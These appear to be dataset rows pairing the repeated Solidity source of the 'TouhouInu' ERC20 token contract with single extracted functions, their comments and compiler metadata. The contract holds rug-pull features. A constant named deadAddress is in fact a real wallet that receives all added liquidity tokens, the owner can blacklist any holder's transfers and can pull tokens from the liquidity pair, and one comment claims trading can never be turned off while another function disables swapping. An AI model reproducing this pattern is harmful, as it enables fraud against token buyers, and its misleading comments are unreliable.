path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | enableTrading | function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
// lastLpBurnTime = block.timestamp;
// launchedAt = block.number;
}
| // once enabled, can never be turned off | LineComment | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
5444,
5646
]
} | 8,946 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | TouhouInu | contract TouhouInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xfaE435dD8CF22b997854dDD427A4A373aeDe0F49);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 7200 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = false;
bool public tradingActive = true;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
// uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Touhou Inu", "TOUHOU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 18;
uint256 _sellLiquidityFee = 8;
uint256 _sellDevFee = 2;
uint256 _earlySellLiquidityFee = 12;
uint256 _earlySellMarketingFee = 16;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
maxWallet = totalSupply * 6 / 1000; // .6% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
// lastLpBurnTime = block.timestamp;
// launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
// if (block.number <= (launchedAt + 1) &&
// to != uniswapV2Pair &&
// to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
// ) {
// _blacklist[to] = true;
// }
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | removeLimits | function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
| // remove limits after token is stable | LineComment | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
5694,
5819
]
} | 8,947 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | TouhouInu | contract TouhouInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xfaE435dD8CF22b997854dDD427A4A373aeDe0F49);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 7200 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = false;
bool public tradingActive = true;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
// uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Touhou Inu", "TOUHOU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 18;
uint256 _sellLiquidityFee = 8;
uint256 _sellDevFee = 2;
uint256 _earlySellLiquidityFee = 12;
uint256 _earlySellMarketingFee = 16;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
maxWallet = totalSupply * 6 / 1000; // .6% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
// lastLpBurnTime = block.timestamp;
// launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
// if (block.number <= (launchedAt + 1) &&
// to != uniswapV2Pair &&
// to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
// ) {
// _blacklist[to] = true;
// }
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
